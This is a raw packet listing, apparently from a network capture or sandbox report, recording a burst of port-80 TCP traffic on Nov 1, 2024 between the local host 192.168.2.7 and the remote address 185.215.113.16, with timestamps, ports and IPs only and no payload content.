Nov 1, 2024 12:13:30.091244936 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091257095 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091264963 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.091281891 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.091516018 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.091542006 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091555119 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091566086 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091578007 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091589928 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091599941 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.091603041 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091617107 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091629028 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.091636896 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091708899 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.091902018 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.091929913 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091943026 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091954947 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091967106 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091978073 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.091989994 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092006922 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092020988 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.092020988 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.092067957 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092081070 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092087030 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.092092037 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092125893 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092139006 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092144966 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.092149973 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092165947 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092179060 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092190981 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.092192888 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092207909 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.092207909 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.092394114 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092415094 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092427969 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092427969 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.092438936 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092452049 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092586040 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.092586040 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.092827082 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092838049 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092849016 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092875957 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092888117 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092899084 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092900038 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.092900038 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.092916965 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092935085 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.092956066 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.092984915 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.093009949 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093023062 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093059063 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.093271017 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093287945 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093298912 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093327999 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093333960 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093339920 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093348026 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093400002 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.093400002 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.093461990 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093473911 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093486071 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093498945 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093527079 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.093547106 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.093615055 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093626022 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093631029 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093657017 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093669891 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093674898 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093682051 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093687057 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093693018 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.093805075 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.093869925 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094027996 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.094299078 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094337940 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094342947 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094350100 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094410896 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094423056 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094434977 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094446898 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.094486952 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.094608068 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094619989 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094630957 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094641924 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094652891 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094667912 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094681978 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094686031 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.094686031 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.094731092 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094743013 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094803095 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.094808102 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094820023 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094830036 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094842911 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094846964 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.094855070 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.094871044 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.094871044 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.095140934 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095151901 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095163107 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095206976 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.095227957 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095240116 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095249891 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095258951 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.095262051 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095273018 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.095330954 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.095346928 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095352888 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095360994 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095418930 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.095593929 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095604897 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095617056 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095627069 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095657110 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.095694065 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095705032 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095715046 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095729113 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095736027 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.095736980 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.095741034 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095758915 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095776081 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.095820904 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.095886946 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095900059 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095911980 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.095952034 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.095952034 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.096030951 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096041918 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096052885 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096065044 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096077919 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096088886 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096101046 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096106052 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.096113920 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096168041 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.096168041 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.096246958 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.096499920 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096527100 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096539021 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096617937 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096628904 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096641064 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096652985 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096724033 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.096724987 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.096746922 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096770048 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096781015 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096793890 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096815109 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096817017 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.096827030 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096838951 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096852064 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096863985 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.096880913 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.096880913 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.097048044 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.097074986 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097086906 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097096920 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097110033 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097147942 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.097171068 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097240925 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.097433090 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097484112 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097496033 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097507000 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.097577095 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097589016 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097604990 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097616911 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097686052 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.097686052 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.097700119 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.097707987 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097719908 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097732067 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097882986 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097920895 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097929001 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.097934008 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097966909 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097980022 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097990990 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.097991943 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.097991943 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.098028898 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.098145962 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098156929 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098169088 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098180056 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098191023 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098200083 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.098200083 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.098203897 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098284960 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098298073 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098310947 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098324060 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.098344088 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.098351955 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098364115 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098376036 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098388910 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098398924 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.098398924 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.098401070 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098414898 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098458052 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.098505020 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.098948002 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098961115 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098974943 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098987103 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.098999977 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099011898 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099025965 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099046946 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.099075079 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099087954 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099098921 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099133015 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.099133015 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.099139929 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099152088 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099164963 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099178076 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099179983 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.099189997 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099201918 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099214077 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.099334002 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.099400997 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099412918 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099426031 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099437952 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099452019 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.099478006 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.099513054 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100048065 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100147009 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100158930 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100171089 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100188017 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100199938 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100199938 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100199938 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100270033 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100282907 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100295067 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100306988 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100336075 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100336075 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100353003 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100384951 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100410938 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100423098 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100451946 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100485086 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100497007 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100508928 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100522995 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100558043 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100558043 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100606918 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100658894 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100671053 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100682020 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100694895 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100707054 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100719929 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100732088 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100743055 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100756884 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100771904 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100771904 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100771904 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100784063 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.100894928 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100907087 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100919008 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100929976 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100944042 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.100960016 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.101267099 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101284027 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101295948 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101303101 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.101367950 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101378918 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101397038 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101406097 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.101409912 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101547003 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101558924 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101569891 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101582050 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101598024 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.101598024 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.101599932 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101613045 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101624012 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101655006 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.101670027 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.101670027 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:30.101680040 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101691961 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:30.101702929 CET	80	49772	185.215.113.16	192.168.2.7
